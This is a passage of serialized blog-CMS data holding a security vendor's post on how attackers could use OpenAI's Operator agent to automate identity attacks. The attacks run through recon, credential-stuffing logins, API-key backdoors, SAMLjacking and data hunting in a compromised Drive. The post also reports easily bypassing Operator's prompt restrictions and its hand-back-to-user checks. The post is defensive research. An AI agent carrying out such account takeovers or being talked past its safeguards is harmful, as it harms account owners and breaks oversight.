,{"type":943},{"data":140696,"marks":140697,"value":62057,"nodeType":865},{},[],{"data":140699,"content":140702,"nodeType":912},{"target":140700},{"sys":140701},{"id":62062,"type":909,"linkType":910},[],{"data":140704,"content":140705,"nodeType":972},{},[],{"data":140707,"content":140708,"nodeType":981},{},[140709],{"data":140710,"marks":140711,"value":62074,"nodeType":865},{},[140712],{"type":926},{"data":140714,"content":140715,"nodeType":1317},{},[140716],{"data":140717,"marks":140718,"value":62082,"nodeType":865},{},[140719],{"type":926},{"data":140721,"content":140722,"nodeType":866},{},[140723],{"data":140724,"marks":140725,"value":62089,"nodeType":865},{},[],{"data":140727,"content":140728,"nodeType":1616},{},[140729,140748,140767,140796],{"data":140730,"content":140731,"nodeType":1570},{},[140732],{"data":140733,"content":140734,"nodeType":866},{},[140735,140738,140745],{"data":140736,"marks":140737,"value":62102,"nodeType":865},{},[],{"data":140739,"content":140740,"nodeType":889},{"uri":62105},[140741],{"data":140742,"marks":140743,"value":62111,"nodeType":865},{},[140744],{"type":943},{"data":140746,"marks":140747,"value":62115,"nodeType":865},{},[],{"data":140749,"content":140750,"nodeType":1570},{},[140751],{"data":140752,"content":140753,"nodeType":866},{},[140754,140757,140764],{"data":140755,"marks":140756,"value":62125,"nodeType":865},{},[],{"data":140758,"content":140759,"nodeType":889},{"uri":6698},[140760],{"data":140761,"marks":140762,"value":62133,"nodeType":865},{},[140763],{"type":943},{"data":140765,"marks":140766,"value":1615,"nodeType":865},{},[],{"data":140768,"content":140769,"nodeType":1570},{},[140770],{"data":140771,"content":140772,"nodeType":866},{},[140773,140776,140783,140786,140793],{"data":140774,"marks":140775,"value":62146,"nodeType":865},{},[],{"data":140777,"content":140778,"nodeType":889},{"uri":6710},[140779],{"data":140780,"marks":140781,"value":62154,"nodeType":865},{},[140782],{"type":943},{"data":140784,"marks":140785,"value":62158,"nodeType":865},{},[],{"data":140787,"content":140788,"nodeType":889},{"uri":62161},[140789],{"data":140790,"marks":140791,"value":62167,"nodeType":865},{},[140792],{"type":943},{"data":140794,"marks":140795,"value":62171,"nodeType":865},{},[],{"data":140797,"content":140798,"nodeType":1570},{},[140799],{"data":140800,"content":140801,"nodeType":866},{},[140802,140805,140812],{"data":140803,"marks":140804,"value":62181,"nodeType":865},{},[],{"data":140806,"content":140807,"nodeType":889},{"uri":6698},[140808],{"data":140809,"marks":140810,"value":62189,"nodeType":865},{},[140811],{"type":943},{"data":140813,"marks":140814,"value":62193,"nodeType":865},{},[],{"data":140816,"content":140817,"nodeType":866},{},[140818],{"data":140819,"marks":140820,"value":62200,"nodeType":865},{},[],{"data":140822,"content":140823,"nodeType":1317},{},[140824],{"data":140825,"marks":140826,"value":62208,"nodeType":865},{},[140827],{"type":926},{"data":140829,"content":140830,"nodeType":866},{},[140831],{"data":140832,"marks":140833,"value":62215,"nodeType":865},{},[],{"data":140835,"content":140836,"nodeType":866},{},[140837],{"data":140838,"marks":140839,"value":62222,"nodeType":865},{},[],{"data":140841,"content":140844,"nodeType":912},{"target":140842},{"sys":140843},{"id":62227,"type":909,"linkType":910},[],{"data":140846,"content":140847,"nodeType":1317},{},[140848],{"data":140849,"marks":140850,"value":62236,"nodeType":865},{},[140851],{"type":926},{"data":140853,"content":140854,"nodeType":866},{},[140855],{"data":140856,"marks":140857,"value":62243,"nodeType":865},{},[],{"data":140859,"content":140860,"nodeType":866},{},[140861],{"data":140862,"marks":140863,"value":62250,"nodeType":865},{},[],{"data":140865,"content":140866,"nodeType":866},{},[140867],{"data":140868,"marks":140869,"value":62257,"nodeType":865},{},[],{"data":140871,"content":140872,"nodeType":1317},{},[140873],{"data":140874,"marks":140875,"value":62265,"nodeType":865},{},[140876],{"type":926},{"data":140878,"content":140879,"nodeType":866},{},[140880],{"data":140881,"marks":140882,"value":62272,"nodeType":865},{},[],{"data":140884,"content":140885,"nodeType":866},{},[140886],{"data":140887,"marks":140888,"value":62279,"nodeType":865},{},[],{"data":140890,"content":140891,"nodeType":866},{},[140892],{"data":140893,"marks":140894,"value":62286,"nodeType":865},{},[],{"data":140896,"content":140897,"nodeType":866},{},[140898],{"data":140899,"marks":140900,"value":62293,"nodeType":865},{},[],{"data":140902,"content":140905,"nodeType":912},{"target":140903},{"sys":140904},{"id":62298,"type":909,"linkType":910},[],{"data":140907,"content":140908,"nodeType":972},{},[],{"data":140910,"content":140911,"nodeType":981},{},[140912],{"data":140913,"marks":140914,"value":62310,"nodeType":865},{},[140915],{"type":926},{"data":140917,"content":140918,"nodeType":866},{},[140919],{"data":140920,"marks":140921,"value":62317,"nodeType":865},{},[],{"data":140923,"content":140924,"nodeType":1616},{},[140925,140934,140943],{"data":140926,"content":140927,"nodeType":1570},{},[140928],{"data":140929,"content":140930,"nodeType":866},{},[140931],{"data":140932,"marks":140933,"value":62330,"nodeType":865},{},[],{"data":140935,"content":140936,"nodeType":1570},{},[140937],{"data":140938,"content":140939,"nodeType":866},{},[140940],{"data":140941,"marks":140942,"value":62340,"nodeType":865},{},[],{"data":140944,"content":140945,"nodeType":1570},{},[140946],{"data":140947,"content":140948,"nodeType":866},{},[140949],{"data":140950,"marks":140951,"value":62350,"nodeType":865},{},[],{"data":140953,"content":140954,"nodeType":866},{},[140955],{"data":140956,"marks":140957,"value":62357,"nodeType":865},{},[],{"data":140959,"content":140960,"nodeType":866},{},[140961,140964,140970],{"data":140962,"marks":140963,"value":62364,"nodeType":865},{},[],{"data":140965,"content":140966,"nodeType":889},{"uri":62367},[140967],{"data":140968,"marks":140969,"value":62372,"nodeType":865},{},[],{"data":140971,"marks":140972,"value":62376,"nodeType":865},{},[],{"data":140974,"content":140975,"nodeType":866},{},[140976,140979,140986],{"data":140977,"marks":140978,"value":62383,"nodeType":865},{},[],{"data":140980,"content":140981,"nodeType":889},{"uri":62386},[140982],{"data":140983,"marks":140984,"value":62392,"nodeType":865},{},[140985],{"type":943},{"data":140987,"marks":140988,"value":62396,"nodeType":865},{},[],{"data":140990,"content":140993,"nodeType":912},{"target":140991},{"sys":140992},{"id":62401,"type":909,"linkType":910},[],{"data":140995,"content":140996,"nodeType":866},{},[140997],{"data":140998,"marks":140999,"value":21,"nodeType":865},{},[],{"items":141001},[141002],{"sys":141003,"name":7796},{"id":7795},{"items":141005},[141006],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":141007},{"url":7804},{"__typename":1429,"sys":141009,"content":141011,"title":141581,"synopsis":141582,"hashTags":59,"publishedDate":141583,"slug":141584,"tagsCollection":141585,"authorsCollection":141591},{"id":141010},"3dndhjREJvJCbGRLseipak",{"json":141012},{"data":141013,"content":141014,"nodeType":1382},{},[141015,141034,141041,141048,141055,141062,141065,141073,141090,141097,141120,141127,141134,141141,141147,141150,141158,141165,141172,141179,141185,141188,141196,141203,141210,141217,141223,141226,141234,141241,141248,141254,141260,141263,141271,141278,141284,141290,141297,141300,141308,141315,141322,141329,141336,141369,141380,141386,141393,141396,141404,141411,141423,141431,141438,141445,141452,141475,141494,141497,141504,141511,141529,141535,141538,141546,141553,141570,141575],{"data":141016,"content":141017,"nodeType":866},{},[141018,141022,141030],{"data":141019,"marks":141020,"value":141021,"nodeType":865},{},[],"If you want the background on CUAs and OpenAI Operator ",{"data":141023,"content":141025,"nodeType":889},{"uri":141024},"https://pushsecurity.com/blog/considering-the-impact-of-computer-using-agents/",[141026],{"data":141027,"marks":141028,"value":134104,"nodeType":865},{},[141029],{"type":943},{"data":141031,"marks":141032,"value":141033,"nodeType":865},{},[],". But, the TL;DR is that Computer-Using Agents (CUAs) are a new type of AI agent that drives your browser/OS for you. ",{"data":141035,"content":141036,"nodeType":866},{},[141037],{"data":141038,"marks":141039,"value":141040,"nodeType":865},{},[],"Unlike traditional AI models that are limited to text-based interactions, CUAs can actually use a web browser like a real person. Think of them as an advanced no-code automation platform driven by AI — capable of navigating login pages, entering credentials, and interacting with SaaS applications at scale. This is a huge leap forward from the most common malicious use cases we’ve seen for AI so far. ",{"data":141042,"content":141043,"nodeType":866},{},[141044],{"data":141045,"marks":141046,"value":141047,"nodeType":865},{},[],"At Push, we’re fully focused on stopping identity attacks. This meant that when we saw the release of Operator, we could only think of one question: How can attackers abuse this?",{"data":141049,"content":141050,"nodeType":866},{},[141051],{"data":141052,"marks":141053,"value":141054,"nodeType":865},{},[],"Full disclosure, this wasn’t an ‘LLM red team’ style exercise, or even anything close. We weren’t interested in verifying how securely data is stored (I mean who cares, these wouldn’t be our credentials if we were a real attacker, right?) and frankly we assumed that the in-app guardrails wouldn’t be robust enough to stop us. And within our first 30 minutes of testing, we were proved correct. ",{"data":141056,"content":141057,"nodeType":866},{},[141058],{"data":141059,"marks":141060,"value":141061,"nodeType":865},{},[],"Here’s what we found. ",{"data":141063,"content":141064,"nodeType":972},{},[],{"data":141066,"content":141067,"nodeType":981},{},[141068],{"data":141069,"marks":141070,"value":141072,"nodeType":865},{},[141071],{"type":926},"You can automate (almost) the entire identity kill chain ",{"data":141074,"content":141075,"nodeType":866},{},[141076,141080,141087],{"data":141077,"marks":141078,"value":141079,"nodeType":865},{},[],"For our test, we looked at how Operator could be applied to identity attacks across discrete Cyber Kill Chain stages and the associated Tactics, Techniques, and Procedures (TTPs) as per the ",{"data":141081,"content":141082,"nodeType":889},{"uri":13171},[141083],{"data":141084,"marks":141085,"value":115902,"nodeType":865},{},[141086],{"type":943},{"data":141088,"marks":141089,"value":14251,"nodeType":865},{},[],{"data":141091,"content":141092,"nodeType":866},{},[141093],{"data":141094,"marks":141095,"value":141096,"nodeType":865},{},[],"One of the key challenges facing attackers when it comes to scaling identity attacks is that of targeting many different internet apps — all of which are:",{"data":141098,"content":141099,"nodeType":1616},{},[141100,141110],{"data":141101,"content":141102,"nodeType":1570},{},[141103],{"data":141104,"content":141105,"nodeType":866},{},[141106],{"data":141107,"marks":141108,"value":141109,"nodeType":865},{},[],"Complex and highly customized, with a graphically-driven interface that is different every time.",{"data":141111,"content":141112,"nodeType":1570},{},[141113],{"data":141114,"content":141115,"nodeType":866},{},[141116],{"data":141117,"marks":141118,"value":141119,"nodeType":865},{},[],"Specifically designed to prevent malicious automation with things like account lockouts and bot protections like CAPTCHA. ",{"data":141121,"content":141122,"nodeType":866},{},[141123],{"data":141124,"marks":141125,"value":141126,"nodeType":865},{},[],"This is a big change from traditional networks, where you could simply port scan and spray credentials, encountering the same protocols and services for every environment you wanted to target.",{"data":141128,"content":141129,"nodeType":866},{},[141130],{"data":141131,"marks":141132,"value":141133,"nodeType":865},{},[],"Now, every app requires custom tooling that needs to be maintained as apps/pages change. Considering that there are more than 40k SaaS apps, this is no small task. ",{"data":141135,"content":141136,"nodeType":866},{},[141137],{"data":141138,"marks":141139,"value":141140,"nodeType":865},{},[],"But we thought: could Operator solve this problem, without any custom development or tooling whatsoever? And what else can it automate following the initial account takeover? ",{"data":141142,"content":141146,"nodeType":912},{"target":141143},{"sys":141144},{"id":141145,"type":909,"linkType":910},"6169dNBRXvahtV8VRlxLCJ",[],{"data":141148,"content":141149,"nodeType":972},{},[],{"data":141151,"content":141152,"nodeType":981},{},[141153],{"data":141154,"marks":141155,"value":141157,"nodeType":865},{},[141156],{"type":926},"1: Reconnaissance",{"data":141159,"content":141160,"nodeType":866},{},[141161],{"data":141162,"marks":141163,"value":141164,"nodeType":865},{},[],"Recon in the world of SaaS means figuring out which SaaS apps an organization uses, how users authenticate, and where the weak spots are. ",{"data":141166,"content":141167,"nodeType":866},{},[141168],{"data":141169,"marks":141170,"value":141171,"nodeType":865},{},[],"For example, I asked Operator to check whether a company used BambooHR, Atlassian, or Dropbox. Within minutes, the AI had identified valid tenant names, login URLs, and authentication methods for each app.",{"data":141173,"content":141174,"nodeType":866},{},[141175],{"data":141176,"marks":141177,"value":141178,"nodeType":865},{},[],"While a human attacker might research a handful of targets in a day, a CUA can research thousands, tirelessly mapping out identity attack surfaces across a long list of target organizations.",{"data":141180,"content":141184,"nodeType":912},{"target":141181},{"sys":141182},{"id":141183,"type":909,"linkType":910},"6Bt0cyPStlzhDzMaSdBYUp",[],{"data":141186,"content":141187,"nodeType":972},{},[],{"data":141189,"content":141190,"nodeType":981},{},[141191],{"data":141192,"marks":141193,"value":141195,"nodeType":865},{},[141194],{"type":926},"2: Initial Access",{"data":141197,"content":141198,"nodeType":866},{},[141199],{"data":141200,"marks":141201,"value":141202,"nodeType":865},{},[],"Once you’ve established your targets, you can automate account takeover using compromised credentials. ",{"data":141204,"content":141205,"nodeType":866},{},[141206],{"data":141207,"marks":141208,"value":141209,"nodeType":865},{},[],"I asked Operator to try to login using a set of compromised credentials across five different apps. It navigated to each page, attempted to login, noted the success or failure (and why), and moved on to the next app in the list. ",{"data":141211,"content":141212,"nodeType":866},{},[141213],{"data":141214,"marks":141215,"value":141216,"nodeType":865},{},[],"Now imagine that same process, but scaled up to tens of thousands of apps at once — with no custom development required. That’s where things start getting interesting.",{"data":141218,"content":141222,"nodeType":912},{"target":141219},{"sys":141220},{"id":141221,"type":909,"linkType":910},"6jk6hKykuvc0YAA4CkP8C2",[],{"data":141224,"content":141225,"nodeType":972},{},[],{"data":141227,"content":141228,"nodeType":981},{},[141229],{"data":141230,"marks":141231,"value":141233,"nodeType":865},{},[141232],{"type":926},"3: Persistence",{"data":141235,"content":141236,"nodeType":866},{},[141237],{"data":141238,"marks":141239,"value":141240,"nodeType":865},{},[],"Once you take over an account, you might not be able to exploit it straight away — particularly if you’re looking to execute a broader campaign across apps/organizations. So, I asked Operator to establish persistence mechanisms that would enable me to return to the app later, even if the credentials were changed or additional auth factors were deployed. ",{"data":141242,"content":141243,"nodeType":866},{},[141244],{"data":141245,"marks":141246,"value":141247,"nodeType":865},{},[],"Operator was able to analyse wildly different apps/pages with different options for configuring ghost logins, and was able to do things like create an API key and record it for me — a really effective backdoor that is extremely difficult for security teams to detect. ",{"data":141249,"content":141253,"nodeType":912},{"target":141250},{"sys":141251},{"id":141252,"type":909,"linkType":910},"6jtmxq2tMJIBga3hxdeDZs",[],{"data":141255,"content":141259,"nodeType":912},{"target":141256},{"sys":141257},{"id":141258,"type":909,"linkType":910},"5XqqCMLn0udFeoc2CQkmy6",[],{"data":141261,"content":141262,"nodeType":972},{},[],{"data":141264,"content":141265,"nodeType":981},{},[141266],{"data":141267,"marks":141268,"value":141270,"nodeType":865},{},[141269],{"type":926},"4: Lateral Movement",{"data":141272,"content":141273,"nodeType":866},{},[141274],{"data":141275,"marks":141276,"value":141277,"nodeType":865},{},[],"Operator can be used to perform in-app changes which can lay the groundwork for lateral movement. One example of how this can be achieved is through SAMLjacking, effectively allowing the attacker to poison the malicious app tenant and use it as a watering hole to harvest SSO credentials. ",{"data":141279,"content":141283,"nodeType":912},{"target":141280},{"sys":141281},{"id":141282,"type":909,"linkType":910},"4GTS6iIlQ0nyMfTxhXQdEg",[],{"data":141285,"content":141289,"nodeType":912},{"target":141286},{"sys":141287},{"id":141288,"type":909,"linkType":910},"5awMBkBEQPtdVNtLOYiaCL",[],{"data":141291,"content":141292,"nodeType":866},{},[141293],{"data":141294,"marks":141295,"value":141296,"nodeType":865},{},[],"SAMLjacking is just one option though — you could also do things like identifying which OAuth integrations are already enabled that could be abused to access linked apps and accounts. ",{"data":141298,"content":141299,"nodeType":972},{},[],{"data":141301,"content":141302,"nodeType":981},{},[141303],{"data":141304,"marks":141305,"value":141307,"nodeType":865},{},[141306],{"type":926},"5: Collection & Exfiltration ",{"data":141309,"content":141310,"nodeType":866},{},[141311],{"data":141312,"marks":141313,"value":141314,"nodeType":865},{},[],"The final piece in the attack chain we looked at was the ability to automate actions-on-objectives. When targeting SaaS, this typically involves dumping app data. ",{"data":141316,"content":141317,"nodeType":866},{},[141318],{"data":141319,"marks":141320,"value":141321,"nodeType":865},{},[],"We found it would be possible to trigger things like takeout services, but this would involve an email export of the data being sent to the victim — meaning we’d need to also compromise their mailbox, and it would probably raise the alarm if noticed. ",{"data":141323,"content":141324,"nodeType":866},{},[141325],{"data":141326,"marks":141327,"value":141328,"nodeType":865},{},[],"Simply downloading the data directly doesn’t work too well with Operator either — downloads are stored in the VM and aren’t easy to extract (for now, anyway).",{"data":141330,"content":141331,"nodeType":866},{},[141332],{"data":141333,"marks":141334,"value":141335,"nodeType":865},{},[],"But this got us thinking:",{"data":141337,"content":141338,"nodeType":1616},{},[141339,141349,141359],{"data":141340,"content":141341,"nodeType":1570},{},[141342],{"data":141343,"content":141344,"nodeType":866},{},[141345],{"data":141346,"marks":141347,"value":141348,"nodeType":865},{},[],"Mass data exfiltration is more likely to raise the alarm than the sharing of sensitive data only.",{"data":141350,"content":141351,"nodeType":1570},{},[141352],{"data":141353,"content":141354,"nodeType":866},{},[141355],{"data":141356,"marks":141357,"value":141358,"nodeType":865},{},[],"Often, much of the data stolen by attackers is pretty low-value and noisy — attackers often don’t really understand the value of what they’ve taken, or how to use/leverage it (particularly when targeting organizations in specialist fields). ",{"data":141360,"content":141361,"nodeType":1570},{},[141362],{"data":141363,"content":141364,"nodeType":866},{},[141365],{"data":141366,"marks":141367,"value":141368,"nodeType":865},{},[],"So what if you could use Operator to understand the data you’ve accessed before dumping it, and stealthily take only what you’re interested in? ",{"data":141370,"content":141371,"nodeType":866},{},[141372,141376],{"data":141373,"marks":141374,"value":141375,"nodeType":865},{},[],"So, w",{"data":141377,"marks":141378,"value":141379,"nodeType":865},{},[],"e asked Operator to analyse data in a compromised Google Drive and report back on what it found. It was able to trawl through looking for specific data of value and report its findings back for us to act on. ",{"data":141381,"content":141385,"nodeType":912},{"target":141382},{"sys":141383},{"id":141384,"type":909,"linkType":910},"VAb39fl1Otlj07dkbDmpU",[],{"data":141387,"content":141388,"nodeType":866},{},[141389],{"data":141390,"marks":141391,"value":141392,"nodeType":865},{},[],"At this point, we could have also asked Operator to create sharing links for those files and record them for us (in case our access was revoked in future). ",{"data":141394,"content":141395,"nodeType":972},{},[],{"data":141397,"content":141398,"nodeType":981},{},[141399],{"data":141400,"marks":141401,"value":141403,"nodeType":865},{},[141402],{"type":926},"Evaluating Operator",{"data":141405,"content":141406,"nodeType":866},{},[141407],{"data":141408,"marks":141409,"value":141410,"nodeType":865},{},[],"Operator clearly demonstrated that it can be used to perform malicious tasks throughout the identity attack kill chain, for every site we directed it at, without requiring custom tool development. Though we didn’t conduct an exhaustive review, we were able to trivially bypass prompt restrictions. And although Operator was meant to hand back over to the user for some actions (like logging, completing CAPTCHAs, etc.) it could be convinced to perform these tasks autonomously. ",{"data":141412,"content":141413,"nodeType":866},{},[141414,141418],{"data":141415,"marks":141416,"value":141417,"nodeType":865},{},[],"It’s important to come back to the point that this isn’t impressive or useful because of the complexity of the tasks — on a 1:1 basis, a human operator will outperform Operator. ",{"data":141419,"marks":141420,"value":141422,"nodeType":865},{},[141421],{"type":926},"The key benefit is the ability to scale these actions across hundreds or even thousands of apps. ",{"data":141424,"content":141425,"nodeType":1317},{},[141426],{"data":141427,"marks":141428,"value":141430,"nodeType":865},{},[141429],{"type":926},"The best (worst?) is still to come",{"data":141432,"content":141433,"nodeType":866},{},[141434],{"data":141435,"marks":141436,"value":141437,"nodeType":865},{},[],"Yes, Operator is a bit slow at the moment, and can get confused when handling long and large tasks with complex instructions. And overall usage is capped, which might prevent attackers from scaling their identity surface discovery and exploitation infinitely (though we didn’t hit any limits during our testing). But let’s remember, it’s not even in V1 yet … ",{"data":141439,"content":141440,"nodeType":866},{},[141441],{"data":141442,"marks":141443,"value":141444,"nodeType":865},{},[],"Operator (and the underlying CUA tech) will inevitably get better. If you can integrate Operator within a tool framework to cover off some of its limitations, and orchestrate Operator windows to perform tasks simultaneously via API (functionality that exists for ChatGPT already) then this kind of CUA tech becomes something that can be very easily abused by attackers. And ultimately, competing CUA products (even inherently malicious ones) will emerge over time, increasing the scope for abuse. ",{"data":141446,"content":141447,"nodeType":866},{},[141448],{"data":141449,"marks":141450,"value":141451,"nodeType":865},{},[],"And what then? There are dual consequences:",{"data":141453,"content":141454,"nodeType":1616},{},[141455,141465],{"data":141456,"content":141457,"nodeType":1570},{},[141458],{"data":141459,"content":141460,"nodeType":866},{},[141461],{"data":141462,"marks":141463,"value":141464,"nodeType":865},{},[],"Lower skilled attackers with fewer resources will be able to harness identity attacks and exploit identity vulnerabilities at scale, with out-of-the-box capabilities.",{"data":141466,"content":141467,"nodeType":1570},{},[141468],{"data":141469,"content":141470,"nodeType":866},{},[141471],{"data":141472,"marks":141473,"value":141474,"nodeType":865},{},[],"More advanced attackers will be able to scale their operations, a bit like being a red team manager of a fleet of AI interns — they handle the grunt work while you’re freed up to perform more complex tasks, only stepping in when you need to. ",{"data":141476,"content":141477,"nodeType":7584},{},[141478],{"data":141479,"content":141480,"nodeType":866},{},[141481,141485,141490],{"data":141482,"marks":141483,"value":141484,"nodeType":865},{},[],"CUAs mean attackers can scale their operations, ",{"data":141486,"marks":141487,"value":141489,"nodeType":865},{},[141488],{"type":926},"a bit like being a red team manager of a fleet of AI interns",{"data":141491,"marks":141492,"value":141493,"nodeType":865},{},[]," — they handle the grunt work while you’re freed up to perform more complex tasks, only stepping in when you need to. ",{"data":141495,"content":141496,"nodeType":972},{},[],{"data":141498,"content":141499,"nodeType":981},{},[141500],{"data":141501,"marks":141502,"value":25229,"nodeType":865},{},[141503],{"type":926},{"data":141505,"content":141506,"nodeType":866},{},[141507],{"data":141508,"marks":141509,"value":141510,"nodeType":865},{},[],"CUA technology has huge implications for the ability of attackers to discover and exploit identity vulnerabilities at-scale. ",{"data":141512,"content":141513,"nodeType":866},{},[141514,141518,141526],{"data":141515,"marks":141516,"value":141517,"nodeType":865},{},[],"The biggest impact that we identified was in terms of credential attacks — and in particular the ability of attackers to leverage compromised credentials and systemic vulnerabilities like credential reuse — which we’ve discussed in more detail ",{"data":141519,"content":141521,"nodeType":889},{"uri":141520},"https://pushsecurity.com/blog/how-new-ai-agents-will-transform-credential-stuffing-attacks/",[141522],{"data":141523,"marks":141524,"value":141525,"nodeType":865},{},[],"in this blog post",{"data":141527,"marks":141528,"value":14251,"nodeType":865},{},[],{"data":141530,"content":141534,"nodeType":912},{"target":141531},{"sys":141532},{"id":141533,"type":909,"linkType":910},"5wczyTsTFu9VshpzxJylgX",[],{"data":141536,"content":141537,"nodeType":972},{},[],{"data":141539,"content":141540,"nodeType":981},{},[141541],{"data":141542,"marks":141543,"value":141545,"nodeType":865},{},[141544],{"type":926},"What you can do about it",{"data":141547,"content":141548,"nodeType":866},{},[141549],{"data":141550,"marks":141551,"value":141552,"nodeType":865},{},[],"Thankfully, no new anti-AI capabilities are required — but it’s more important than ever that organizations look to defend their identity attack surface and find and fix identity vulnerabilities before attackers can take advantage of them. ",{"data":141554,"content":141555,"nodeType":866},{},[141556,141559,141566],{"data":141557,"marks":141558,"value":21,"nodeType":865},{},[],{"data":141560,"content":141561,"nodeType":889},{"uri":16069},[141562],{"data":141563,"marks":141564,"value":118063,"nodeType":865},{},[141565],{"type":943},{"data":141567,"marks":141568,"value":141569,"nodeType":865},{},[]," to find out how Push helps organizations to find and fix identity vulnerabilities at-scale, and intercept identity attacks as they happen in employee browsers. ",{"data":141571,"content":141574,"nodeType":912},{"target":141572},{"sys":141573},{"id":141145,"type":909,"linkType":910},[],{"data":141576,"content":141577,"nodeType":866},{},[141578],{"data":141579,"marks":141580,"value":21,"nodeType":865},{},[],"5 ways attackers can use Computer-Using Agents to automate identity attacks","We're back with part 2 of our research into OpenAI Operator to share our findings on how it can be used to automate identity attacks. ","2025-03-13T00:00:00.000Z","5-ways-attackers-can-use-computer-using-agents-to-automate-identity-attacks",{"items":141586},[141587,141589],{"sys":141588,"name":7796},{"id":7795},{"sys":141590,"name":297},{"id":2310},{"items":141592},[141593],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":141594},{"url":11425},"blog/why-attackers-are-targeting-jira-with-stolen-credentials",{"json":141597},{"data":141598,"content":141599,"nodeType":1382},{},[141600],{"data":141601,"content":141602,"nodeType":866},{},[141603],{"data":141604,"marks":141605,"value":137415,"nodeType":865},{},[],{"id":80150,"publishedAt":141607},"2026-08-12T11:54:22.609Z",{"items":141609},[141610,141612],{"sys":141611,"name":7796},{"id":7795},{"sys":141613,"name":342},{"id":4642},{"items":141615},[141616,141618,141620,141622,141624,141626,141628,141630,141632,141634,141636,141638,141640,141642,141644],{"sys":141617,"name":413,"slug":414,"tier":31},{"id":410},{"sys":141619,"name":545,"slug":546,"tier":31},{"id":542},{"sys":141621,"name":279,"slug":280,"tier":31},{"id":276},{"sys":141623,"name":642,"slug":643,"tier":31},{"id":639},{"sys":141625,"name":342,"slug":343,"tier":31},{"id":339},{"sys":141627,"name":297,"slug":298,"tier":31},{"id":294},{"sys":141629,"name":333,"slug":334,"tier":45},{"id":330},{"sys":141631,"name":422,"slug":423,"tier":45},{"id":419},{"sys":141633,"name":528,"slug":529,"tier":45},{"id":525},{"sys":141635,"name":502,"slug":503,"tier":45},{"id":499},{"sys":141637,"name":395,"slug":396,"tier":45},{"id":392},{"sys":141639,"name":457,"slug":458,"tier":45},{"id":454},{"sys":141641,"name":537,"slug":538,"tier":45},{"id":534},{"sys":141643,"name":571,"slug":572,"tier":45},{"id":568},{"sys":141645,"name":324,"slug":325,"tier":45},{"id":321},"vu91m-UCmH2QlKrLtEKhi6TrmA1ZaTVt_DvLlT1QYvc",{"id":141648,"title":135317,"authorsCollection":141649,"content":141654,"extension":228,"faqItemsCollection":142256,"faqTitle":59,"featured":6,"hashTags":59,"meta":142258,"metaTitle":142259,"ogImage":142260,"postType":1424,"publishedDate":135319,"relatedBlogPostsCollection":142262,"slug":135320,"stem":144144,"subtitle":59,"summary":144145,"synopsis":135318,"sys":144155,"tagsCollection":144157,"topicsCollection":144163,"__hash__":144193},"blog/blog/why-its-time-for-phishing-prevention-to-move-beyond-email.json",{"items":141650},[141651],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":141652,"profilePicture":141653},[30152],{"url":7804},{"json":141655,"links":142190},{"data":141656,"content":141657,"nodeType":1382},{},[141658,141664,141690,141695,141701,141704,141711,141717,141723,141752,141758,141764,141770,141773,141780,141796,141802,141808,141813,141819,141825,141828,141835,141841,141847,141852,141858,141874,141900,141906,141909,141916,141922,141928,141933,141939,141945,141951,141956,141962,141967,141973,141976,141983,141989,141995,141998,142005,142011,142017,142023,142026,142033,142039,142045,142051,142057,142063,142068,142074,142080,142085,142091,142121,142127,142137,142153,142158,142161,142168,142174],{"data":141659,"content":141660,"nodeType":866},{},[141661],{"data":141662,"marks":141663,"value":134713,"nodeType":865},{},[],{"data":141665,"content":141666,"nodeType":866},{},[141667,141670,141677,141680,141687],{"data":141668,"marks":141669,"value":134720,"nodeType":865},{},[],{"data":141671,"content":141672,"nodeType":889},{"uri":4147},[141673],{"data":141674,"marks":141675,"value":53721,"nodeType":865},{},[141676],{"type":943},{"data":141678,"marks":141679,"value":134731,"nodeType":865},{},[],{"data":141681,"content":141682,"nodeType":889},{"uri":134734},[141683],{"data":141684,"marks":141685,"value":134740,"nodeType":865},{},[141686],{"type":943},{"data":141688,"marks":141689,"value":14251,"nodeType":865},{},[],{"data":141691,"content":141694,"nodeType":912},{"target":141692},{"sys":141693},{"id":134748,"type":909,"linkType":910},[],{"data":141696,"content":141697,"nodeType":866},{},[141698],{"data":141699,"marks":141700,"value":134756,"nodeType":865},{},[],{"data":141702,"content":141703,"nodeType":972},{},[],{"data":141705,"content":141706,"nodeType":981},{},[141707],{"data":141708,"marks":141709,"value":134767,"nodeType":865},{},[141710],{"type":926},{"data":141712,"content":141713,"nodeType":866},{},[141714],{"data":141715,"marks":141716,"value":134774,"nodeType":865},{},[],{"data":141718,"content":141719,"nodeType":866},{},[141720],{"data":141721,"marks":141722,"value":134781,"nodeType":865},{},[],{"data":141724,"content":141725,"nodeType":1616},{},[141726,141739],{"data":141727,"content":141728,"nodeType":1570},{},[141729],{"data":141730,"content":141731,"nodeType":866},{},[141732,141736],{"data":141733,"marks":141734,"value":134795,"nodeType":865},{},[141735],{"type":926},{"data":141737,"marks":141738,"value":134799,"nodeType":865},{},[],{"data":141740,"content":141741,"nodeType":1570},{},[141742],{"data":141743,"content":141744,"nodeType":866},{},[141745,141749],{"data":141746,"marks":141747,"value":134810,"nodeType":865},{},[141748],{"type":926},{"data":141750,"marks":141751,"value":134814,"nodeType":865},{},[],{"data":141753,"content":141754,"nodeType":866},{},[141755],{"data":141756,"marks":141757,"value":134821,"nodeType":865},{},[],{"data":141759,"content":141760,"nodeType":866},{},[141761],{"data":141762,"marks":141763,"value":134828,"nodeType":865},{},[],{"data":141765,"content":141766,"nodeType":866},{},[141767],{"data":141768,"marks":141769,"value":134835,"nodeType":865},{},[],{"data":141771,"content":141772,"nodeType":972},{},[],{"data":141774,"content":141775,"nodeType":981},{},[141776],{"data":141777,"marks":141778,"value":134846,"nodeType":865},{},[141779],{"type":926},{"data":141781,"content":141782,"nodeType":866},{},[141783,141786,141793],{"data":141784,"marks":141785,"value":134853,"nodeType":865},{},[],{"data":141787,"content":141788,"nodeType":889},{"uri":134856},[141789],{"data":141790,"marks":141791,"value":134862,"nodeType":865},{},[141792],{"type":943},{"data":141794,"marks":141795,"value":1615,"nodeType":865},{},[],{"data":141797,"content":141798,"nodeType":866},{},[141799],{"data":141800,"marks":141801,"value":134872,"nodeType":865},{},[],{"data":141803,"content":141804,"nodeType":866},{},[141805],{"data":141806,"marks":141807,"value":134879,"nodeType":865},{},[],{"data":141809,"content":141812,"nodeType":912},{"target":141810},{"sys":141811},{"id":134884,"type":909,"linkType":910},[],{"data":141814,"content":141815,"nodeType":866},{},[141816],{"data":141817,"marks":141818,"value":134892,"nodeType":865},{},[],{"data":141820,"content":141821,"nodeType":866},{},[141822],{"data":141823,"marks":141824,"value":134899,"node